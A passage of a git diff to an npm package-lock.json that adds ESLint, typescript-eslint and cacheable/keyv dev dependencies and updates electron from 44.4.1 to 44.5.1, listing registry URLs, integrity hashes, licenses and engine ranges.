"https://registry.npmjs.org/@cacheable/memory/-/memory-2.2.0.tgz", + "integrity": "sha512-CTLKqLItRCEixEAewD3/j9DB3/o96gpTPD4eJ1v+DGOlxZRZncRQkGYqqnAGCscYd6RNeXfGeiuCphsPtqyIfQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@cacheable/utils": "^2.5.0", + "@keyv/bigmap": "^1.3.1", + "hookified": "^1.15.1", + "keyv": "^5.6.0" + } + }, + "node_modules/@cacheable/memory/node_modules/@keyv/bigmap": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/@keyv/bigmap/-/bigmap-1.3.1.tgz", + "integrity": "sha512-WbzE9sdmQtKy8vrNPa9BRnwZh5UF4s1KTmSK0KUVLo3eff5BlQNNWDnFOouNpKfPKDnms9xynJjsMYjMaT/aFQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "hashery": "^1.4.0", + "hookified": "^1.15.0" + }, + "engines": { + "node": ">= 18" + }, + "peerDependencies": { + "keyv": "^5.6.0" + } + }, + "node_modules/@cacheable/memory/node_modules/keyv": { + "version": "5.6.0", + "resolved": "https://registry.npmjs.org/keyv/-/keyv-5.6.0.tgz", + "integrity": "sha512-CYDD3SOtsHtyXeEORYRx2qBtpDJFjRTGXUtmNEMGyzYOKj1TE3tycdlho7kA1Ufx9OYWZzg52QFBGALTirzDSw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@keyv/serialize": "^1.1.1" + } + }, + "node_modules/@cacheable/utils": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@cacheable/utils/-/utils-2.5.0.tgz", + "integrity": "sha512-buipgOVDkkPXNR5+xBpDw7Zk2n1EvU7qBJCNUcL7rhQ//kfpOXPAvQ511Os0vpLYJ1pZnvudNytkQt2hst3wqA==", + "dev": true, + "license": "MIT", + "dependencies": { + "hashery": "^1.5.1", + "keyv": "^5.6.0" + } + }, + "node_modules/@cacheable/utils/node_modules/keyv": { + "version": "5.6.0", + "resolved": "https://registry.npmjs.org/keyv/-/keyv-5.6.0.tgz", + "integrity": "sha512-CYDD3SOtsHtyXeEORYRx2qBtpDJFjRTGXUtmNEMGyzYOKj1TE3tycdlho7kA1Ufx9OYWZzg52QFBGALTirzDSw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@keyv/serialize": "^1.1.1" + } + }, "node_modules/@electron-internal/extract-zip": { "version": "1.0.5", "resolved": "https://registry.npmjs.org/@electron-internal/extract-zip/-/extract-zip-1.0.5.tgz", @@ -1116,6 +1180,179 @@ "node": ">=18" } }, + "node_modules/@eslint-community/eslint-utils": { + "version": "4.10.1", + "resolved": "https://registry.npmjs.org/@eslint-community/eslint-utils/-/eslint-utils-4.10.1.tgz", + "integrity": "sha512-cuadcxVFE8sDK6iWJbs8Sn0av2Nrh2QSGQhVlBW9AaAHqHwjWsZHT8LJ4hFGPh7ASBV2deFdM7H/DPjulmh8rg==", + "dev": true, + "license": "MIT", + "dependencies": { + "eslint-visitor-keys": "^3.4.3" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + }, + "peerDependencies": { + "eslint": "^6.0.0 || ^7.0.0 || >=8.0.0" + } + }, + "node_modules/@eslint-community/eslint-utils/node_modules/eslint-visitor-keys": { + "version": "3.4.3", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.4.3.tgz", + "integrity": "sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/@eslint-community/regexpp": { + "version": "4.12.2", + "resolved": "https://registry.npmjs.org/@eslint-community/regexpp/-/regexpp-4.12.2.tgz", + "integrity": "sha512-EriSTlt5OC9/7SXkRSCAhfSxxoSUgBm33OH+IkwbdpgoqsSsUg7y3uh+IICI/Qg4BBWr3U2i39RpmycbxMq4ew==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^12.0.0 || ^14.0.0 || >=16.0.0" + } + }, + "node_modules/@eslint/config-array": { + "version": "0.23.5", + "resolved": "https://registry.npmjs.org/@eslint/config-array/-/config-array-0.23.5.tgz", + "integrity": "sha512-Y3kKLvC1dvTOT+oGlqNQ1XLqK6D1HU2YXPc52NmAlJZbMMWDzGYXMiPRJ8TYD39muD/OTjlZmNJ4ib7dvSrMBA==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@eslint/object-schema": "^3.0.5", + "debug": "^4.3.1", + "minimatch": "^10.2.4" + }, + "engines": { + "node": "^20.19.0 || ^22.13.0 || >=24" + } + }, + "node_modules/@eslint/config-helpers": { + "version": "0.7.0", + "resolved": "https://registry.npmjs.org/@eslint/config-helpers/-/config-helpers-0.7.0.tgz", + "integrity": "sha512-DObd/KKUsU+FaFv4PLxSRenpXfQWmPXXP3pPZ6/K1PCrMu2vQpMDMuQe/BqYeoLcz8ro0bVDF1RxOJgfVEdhUw==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@eslint/core": "^1.2.1" + }, + "engines": { + "node": "^20.19.0 || ^22.13.0 || >=24" + } + }, + "node_modules/@eslint/core": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/@eslint/core/-/core-1.2.1.tgz", + "integrity": "sha512-MwcE1P+AZ4C6DWlpin/OmOA54mmIZ/+xZuJiQd4SyB29oAJjN30UW9wkKNptW2ctp4cEsvhlLY/CsQ1uoHDloQ==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@types/json-schema": "^7.0.15" + }, + "engines": { + "node": "^20.19.0 || ^22.13.0 || >=24" + } + }, + "node_modules/@eslint/object-schema": { + "version": "3.0.5", + "resolved": "https://registry.npmjs.org/@eslint/object-schema/-/object-schema-3.0.5.tgz", + "integrity": "sha512-vqTaUEgxzm+YDSdElad6PiRoX4t8VGDjCtt05zn4nU810UIx/uNEV7/lZJ6KwFThKZOzOxzXy48da+No7HZaMw==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": "^20.19.0 || ^22.13.0 || >=24" + } + }, + "node_modules/@eslint/plugin-kit": { + "version": "0.7.3", + "resolved": "https://registry.npmjs.org/@eslint/plugin-kit/-/plugin-kit-0.7.3.tgz", + "integrity": "sha512-IkO+/KEUvwbVpiURZg+P7zF74z5Jxe0UgJxVni+RtoHQ6IZieXaO02kmadomap/q+l6bc/jdPGGqTjhuZnuz1Q==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@eslint/core": "^1.2.1", + "levn": "^0.4.1" + }, + "engines": { + "node": "^20.19.0 || ^22.13.0 || >=24" + } + }, + "node_modules/@humanfs/core": { + "version": "0.19.2", + "resolved": "https://registry.npmjs.org/@humanfs/core/-/core-0.19.2.tgz", + "integrity": "sha512-UhXNm+CFMWcbChXywFwkmhqjs3PRCmcSa/hfBgLIb7oQ5HNb1wS0icWsGtSAUNgefHeI+eBrA8I1fxmbHsGdvA==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@humanfs/types": "^0.15.0" + }, + "engines": { + "node": ">=18.18.0" + } + }, + "node_modules/@humanfs/node": { + "version": "0.16.8", + "resolved": "https://registry.npmjs.org/@humanfs/node/-/node-0.16.8.tgz", + "integrity": "sha512-gE1eQNZ3R++kTzFUpdGlpmy8kDZD/MLyHqDwqjkVQI0JMdI1D51sy1H958PNXYkM2rAac7e5/CnIKZrHtPh3BQ==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@humanfs/core": "^0.19.2", + "@humanfs/types": "^0.15.0", + "@humanwhocodes/retry": "^0.4.0" + }, + "engines": { + "node": ">=18.18.0" + } + }, + "node_modules/@humanfs/types": { + "version": "0.15.0", + "resolved": "https://registry.npmjs.org/@humanfs/types/-/types-0.15.0.tgz", + "integrity": "sha512-ZZ1w0aoQkwuUuC7Yf+7sdeaNfqQiiLcSRbfI08oAxqLtpXQr9AIVX7Ay7HLDuiLYAaFPu8oBYNq/QIi9URHJ3Q==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=18.18.0" + } + }, + "node_modules/@humanwhocodes/module-importer": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@humanwhocodes/module-importer/-/module-importer-1.0.1.tgz", + "integrity": "sha512-bxveV4V8v5Yb4ncFTT3rPSgZBOpCkjfK0y4oVVVJwIuDVBRMDXrPyXRL988i5ap9m9bnyEEjWfm5WkBmtffLfA==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=12.22" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/nzakas" + } + }, + "node_modules/@humanwhocodes/retry": { + "version": "0.4.3", + "resolved": "https://registry.npmjs.org/@humanwhocodes/retry/-/retry-0.4.3.tgz", + "integrity": "sha512-bV0Tgo9K4hfPCek+aMAn81RppFKv2ySDQeMoSZuvTASywNTnVJCArCZE2FWqpvIatKu7VMRLWlR1EazvVhDyhQ==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=18.18" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/nzakas" + } + }, "node_modules/@isaacs/fs-minipass": { "version": "4.0.1", "resolved": "https://registry.npmjs.org/@isaacs/fs-minipass/-/fs-minipass-4.0.1.tgz", @@ -1179,6 +1416,13 @@ "@jridgewell/sourcemap-codec": "^1.4.14" } }, + "node_modules/@keyv/serialize": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@keyv/serialize/-/serialize-1.1.1.tgz", + "integrity": "sha512-dXn3FZhPv0US+7dtJsIi2R+c7qWYiReoEh5zUntWCf4oSpMNib8FDhSoed6m3QyZdx5hK7iLFkYk3rNxwt8vTA==", + "dev": true, + "license": "MIT" + }, "node_modules/@malept/cross-spawn-promise": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/@malept/cross-spawn-promise/-/cross-spawn-promise-2.0.0.tgz", @@ -1836,6 +2080,13 @@ "dev": true, "license": "MIT" }, + "node_modules/@types/esrecurse": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/@types/esrecurse/-/esrecurse-4.3.1.tgz", + "integrity": "sha512-xJBAbDifo5hpffDBuHl0Y8ywswbiAp/Wi7Y/GtAgSlZyIABppyurxVueOPE8LUQOxdlgi6Zqce7uoEpqNTeiUw==", + "dev": true, + "license": "MIT" + }, "node_modules/@types/estree": { "version": "1.0.9", "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.9.tgz", @@ -1860,6 +2111,13 @@ "dev": true, "license": "MIT" }, + "node_modules/@types/json-schema": { + "version": "7.0.15", + "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.15.tgz", + "integrity": "sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA==", + "dev": true, + "license": "MIT" + }, "node_modules/@types/keyv": { "version": "3.1.4", "resolved": "https://registry.npmjs.org/@types/keyv/-/keyv-3.1.4.tgz", @@ -1917,6 +2175,161 @@ "@types/node": "*" } }, + "node_modules/@typescript-eslint/parser": { + "version": "8.71.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-8.71.0.tgz", + "integrity": "sha512-CG4nPk1f2zc8yw4pALqHsFYH2hdo+h1T9daSp21+Hnxi9LOE3GT9hAfTKJCBXVNM2GmYs1eMEP615wPoeOgk3A==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/scope-manager": "8.71.0", + "@typescript-eslint/types": "8.71.0", + "@typescript-eslint/typescript-estree": "8.71.0", + "@typescript-eslint/visitor-keys": "8.71.0", + "debug": "^4.4.3" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "eslint": "^8.57.0 || ^9.0.0 || ^10.0.0", + "typescript": ">=4.8.4 <6.1.0" + } + }, + "node_modules/@typescript-eslint/project-service": { + "version": "8.71.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/project-service/-/project-service-8.71.0.tgz", + "integrity": "sha512-aABjw5rjBacYONVPaPiWOCjJu0vEF4a25iQuodlmQYL1trtLZ0X/y+2Vzl3BKI1odM4LnwLE1oUDXYp1wzx1TQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/tsconfig-utils": "^8.71.0", + "@typescript-eslint/types": "^8.71.0", + "debug": "^4.4.3" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "typescript": ">=4.8.4 <6.1.0" + } + }, + "node_modules/@typescript-eslint/scope-manager": { + "version": "8.71.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/scope-manager/-/scope-manager-8.71.0.tgz", + "integrity": "sha512-gWF0BhUcnjZxSpLE8ngS/59n2SB0J3YqRxvX1+2aoRJk9hNtHSLOV+TcarFiOr5ipXm3yc1QrI4c9YZc8zyCxw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/types": "8.71.0", + "@typescript-eslint/visitor-keys": "8.71.0" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + } + }, + "node_modules/@typescript-eslint/tsconfig-utils": { + "version": "8.71.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/tsconfig-utils/-/tsconfig-utils-8.71.0.tgz", + "integrity": "sha512-Z1UlWHADEK2Mlb9NpWfDeSjqoZ5EyrOv4R3eQpbkzqn/EwaIdOpXXupEA1+0ZIOSJSZZDBHG0BrQyN8zUG6Pwg==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "typescript": ">=4.8.4 <6.1.0" + } + }, + "node_modules/@typescript-eslint/types": { + "version": "8.71.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/types/-/types-8.71.0.tgz", + "integrity": "sha512-cJ4OoxPGWvFnBTnSZyaU+qJzGTqPTGJY+gDchj6cRyLRdmIdt4rcsE4twj+zPfrNiWuVi38wijHzShL++Z9atQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + } + }, + "node_modules/@typescript-eslint/typescript-estree": { + "version": "8.71.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-8.71.0.tgz", + "integrity": "sha512-PEEF4G5sLLWAS5BpPrUvms4ySZkiBQQZM4z+3ReI46axK5Vqr/vXBQatJQIZZOYdGyPUAKTtsrWzpqKuU+3DEw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/project-service": "8.71.0", + "@typescript-eslint/tsconfig-utils": "8.71.0", + "@typescript-eslint/types": "8.71.0", + "@typescript-eslint/visitor-keys": "8.71.0", + "debug": "^4.4.3", + "minimatch": "^10.2.2", + "semver": "^7.7.3", + "tinyglobby": "^0.2.15", + "ts-api-utils": "^2.5.0" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "typescript": ">=4.8.4 <6.1.0" + } + }, + "node_modules/@typescript-eslint/typescript-estree/node_modules/semver": { + "version": "7.8.5", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.8.5.tgz", + "integrity": "sha512-Y7/KDsb8LjooZpwaqGyulO6DQlksgCncchHGk+sZIY4SBvUocMBEFH5Ur1fI4dV+Jvl0w6cjvucaIi40puRioA==", + "dev": true, + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@typescript-eslint/visitor-keys": { + "version": "8.71.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-8.71.0.tgz", + "integrity": "sha512-8eQ9R218XORK+KLosnf4bu/QsUXvUyVwTbArg7/0NMB1Pu87OJKvj4nhFblkYE8gQV73mW1dx1ptlPCkwRGa7A==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/types": "8.71.0", + "eslint-visitor-keys": "^5.0.0" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + } + }, "node_modules/@vitejs/plugin-react": { "version": "5.2.0", "resolved": "https://registry.npmjs.org/@vitejs/plugin-react/-/plugin-react-5.2.0.tgz", @@ -2006,6 +2419,29 @@ "node": "^20.17.0 || >=22.9.0" } }, + "node_modules/acorn": { + "version": "8.18.0", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.18.0.tgz", + "integrity": "sha512-lGq+9yr1/GuAWaVYIHRjvvySG5/4VfKIvC8EWxStPdcDh/Ka7FG3twP6v4d5BkravUilhIAsG4Qj83t02LWUPQ==", + "dev": true, + "license": "MIT", + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/acorn-jsx": { + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.3.2.tgz", + "integrity": "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==", + "dev": true, + "license": "MIT", + "peerDependencies": { + "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0" + } + }, "node_modules/agent-base": { "version": "7.1.4", "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-7.1.4.tgz", @@ -2467,6 +2903,20 @@ "node": ">=8" } }, + "node_modules/cacheable": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/cacheable/-/cacheable-2.5.0.tgz", + "integrity": "sha512-60cyAOytib/OzBw1JNSoSV/boK1AtHryDIjvVBk7XbN4ugfkM3+Sry7fEjNgPMGgOjuaZPAp8ruZ0Cxafwyq9g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@cacheable/memory": "^2.2.0", + "@cacheable/utils": "^2.5.0", + "hookified": "^1.15.0", + "keyv": "^5.6.0", + "qified": "^0.10.1" + } + }, "node_modules/cacheable-lookup": { "version": "5.0.4", "resolved": "https://registry.npmjs.org/cacheable-lookup/-/cacheable-lookup-5.0.4.tgz", @@ -2496,6 +2946,16 @@ "node": ">=8" } }, + "node_modules/cacheable/node_modules/keyv": { + "version": "5.6.0", + "resolved": "https://registry.npmjs.org/keyv/-/keyv-5.6.0.tgz", + "integrity": "sha512-CYDD3SOtsHtyXeEORYRx2qBtpDJFjRTGXUtmNEMGyzYOKj1TE3tycdlho7kA1Ufx9OYWZzg52QFBGALTirzDSw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@keyv/serialize": "^1.1.1" + } + }, "node_modules/call-bind-apply-helpers": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz", @@ -2793,6 +3253,13 @@ "url": "https://github.com/sponsors/sindresorhus" } }, + "node_modules/deep-is": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.4.tgz", + "integrity": "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==", + "dev": true, + "license": "MIT" + }, "node_modules/defer-to-connect": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/defer-to-connect/-/defer-to-connect-2.0.1.tgz", @@ -2985,9 +3452,9 @@ } }, "node_modules/electron": { - "version": "44.4.1", - "resolved": "https://registry.npmjs.org/electron/-/electron-44.4.1.tgz", - "integrity": "sha512-gXJarQ2Utfn8G6bp/IqLXvckOSCtrxPWjFqQaqm02Gf4zYn1aP+RN9PKimoLH/DMqjKLfBrNC4C4CviPv0cXnQ==", + "version": "44.5.1", + "resolved": "https://registry.npmjs.org/electron/-/electron-44.5.1.tgz", + "integrity": "sha512-lx7AYoFIiyvEvgvpyWO9kOC60xtNPpiPZAth6Fmg9NutzpCAMLwpUlaBY2EXfZyIgUdzEmLMj9KvK0Vrokl1yQ==", "dev": true, "license": "MIT", "dependencies": { @@ -3328,28 +3795,216 @@ "@esbuild/win32-x64": "0.25.12" } }, - "node_modules/escalade": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz", - "integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==", + "node_modules/escalade": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz", + "integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/escape-string-regexp": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", + "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/eslint": { + "version": "10.11.0", + "resolved": "https://registry.npmjs.org/eslint/-/eslint-10.11.0.tgz", + "integrity": "sha512-P7a6UEEqb9G95MYAtqkmsTbVXIYyzIfl6NGOIJk162PaahFxFyeGcrlXYFSiagECg4sEm8IseJdZBKR3rx6MsQ==", + "dev": true, + "license": "MIT", + "workspaces": [ + "packages/*" + ], + "dependencies": { + "@eslint-community/eslint-utils": "^4.8.0", + "@eslint-community/regexpp": "^4.12.2", + "@eslint/config-array": "^0.23.5", + "@eslint/config-helpers": "^0.7.0", + "@eslint/core": "^1.2.1", + "@eslint/plugin-kit": "^0.7.3", + "@humanfs/node": "^0.16.6", + "@humanwhocodes/module-importer": "^1.0.1", + "@humanwhocodes/retry": "^0.4.2", + "@types/estree": "^1.0.6", + "ajv": "^6.14.0", + "cross-spawn": "^7.0.6", + "debug": "^4.3.2", + "escape-string-regexp": "^4.0.0", + "eslint-scope": "^9.1.2", + "eslint-visitor-keys": "^5.0.1", + "espree": "^11.2.0", + "esquery": "^1.7.0", + "esutils": "^2.0.2", + "fast-deep-equal": "^3.1.3", + "file-entry-cache": "11.1.5 || >11.1.6 <12", + "find-up": "^5.0.0", + "glob-parent": "^6.0.2", + "ignore": "^5.2.0", + "imurmurhash": "^0.1.4", + "is-glob": "^4.0.0", + "json-stable-stringify-without-jsonify": "^1.0.1", + "minimatch": "^10.2.5", + "natural-compare": "^1.4.0", + "optionator": "^0.9.3" + }, + "bin": { + "eslint": "bin/eslint.js" + }, + "engines": { + "node": "^20.19.0 || ^22.13.0 || >=24" + }, + "funding": { + "url": "https://eslint.org/donate" + }, + "peerDependencies": { + "jiti": "*" + }, + "peerDependenciesMeta": { + "jiti": { + "optional": true + } + } + }, + "node_modules/eslint-plugin-react-hooks": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/eslint-plugin-react-hooks/-/eslint-plugin-react-hooks-7.1.1.tgz", + "integrity": "sha512-f2I7Gw6JbvCexzIInuSbZpfdQ44D7iqdWX01FKLvrPgqxoE7oMj8clOfto8U6vYiz4yd5oKu39rRSVOe1zRu0g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/core": "^7.24.4", + "@babel/parser": "^7.24.4", + "hermes-parser": "^0.25.1", + "zod": "^3.25.0 || ^4.0.0", + "zod-validation-error": "^3.5.0 || ^4.0.0" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "eslint": "^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0-0 || ^9.0.0 || ^10.0.0" + } + }, + "node_modules/eslint-scope": { + "version": "9.1.2", + "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-9.1.2.tgz", + "integrity": "sha512-xS90H51cKw0jltxmvmHy2Iai1LIqrfbw57b79w/J7MfvDfkIkFZ+kj6zC3BjtUwh150HsSSdxXZcsuv72miDFQ==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "@types/esrecurse": "^4.3.1", + "@types/estree": "^1.0.8", + "esrecurse": "^4.3.0", + "estraverse": "^5.2.0" + }, + "engines": { + "node": "^20.19.0 || ^22.13.0 || >=24" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/eslint-visitor-keys": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-5.0.1.tgz", + "integrity": "sha512-tD40eHxA35h0PEIZNeIjkHoDR4YjjJp34biM0mDvplBe//mB+IHCqHDGV7pxF+7MklTvighcCPPZC7ynWyjdTA==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": "^20.19.0 || ^22.13.0 || >=24" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/eslint/node_modules/ajv": { + "version": "6.15.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.15.0.tgz", + "integrity": "sha512-fgFx7Hfoq60ytK2c7DhnF8jIvzYgOMxfugjLOSMHjLIPgenqa7S7oaagATUq99mV6IYvN2tRmC0wnTYX6iPbMw==", + "dev": true, + "license": "MIT", + "dependencies": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/eslint/node_modules/json-schema-traverse": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", "dev": true, - "license": "MIT", + "license": "MIT" + }, + "node_modules/espree": { + "version": "11.2.0", + "resolved": "https://registry.npmjs.org/espree/-/espree-11.2.0.tgz", + "integrity": "sha512-7p3DrVEIopW1B1avAGLuCSh1jubc01H2JHc8B4qqGblmg5gI9yumBgACjWo4JlIc04ufug4xJ3SQI8HkS/Rgzw==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "acorn": "^8.16.0", + "acorn-jsx": "^5.3.2", + "eslint-visitor-keys": "^5.0.1" + }, "engines": { - "node": ">=6" + "node": "^20.19.0 || ^22.13.0 || >=24" + }, + "funding": { + "url": "https://opencollective.com/eslint" } }, - "node_modules/escape-string-regexp": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", - "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==", + "node_modules/esquery": { + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.7.0.tgz", + "integrity": "sha512-Ap6G0WQwcU/LHsvLwON1fAQX9Zp0A2Y6Y/cJBl9r/JbW90Zyg4/zbG6zzKa2OTALELarYHmKu0GhpM5EO+7T0g==", "dev": true, - "license": "MIT", - "optional": true, + "license": "BSD-3-Clause", + "dependencies": { + "estraverse": "^5.1.0" + }, "engines": { - "node": ">=10" + "node": ">=0.10" + } + }, + "node_modules/esrecurse": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.3.0.tgz", + "integrity": "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "estraverse": "^5.2.0" }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" + "engines": { + "node": ">=4.0" + } + }, + "node_modules/estraverse": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz", + "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", + "dev": true, + "license": "BSD-2-Clause", + "engines": { + "node": ">=4.0" } }, "node_modules/estree-walker": { @@ -3362,6 +4017,16 @@ "@types/estree": "^1.0.0" } }, + "node_modules/esutils": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz", + "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==", + "dev": true, + "license": "BSD-2-Clause", + "engines": { + "node": ">=0.10.0" + } + }, "node_modules/expect-type": { "version": "1.4.0", "resolved": 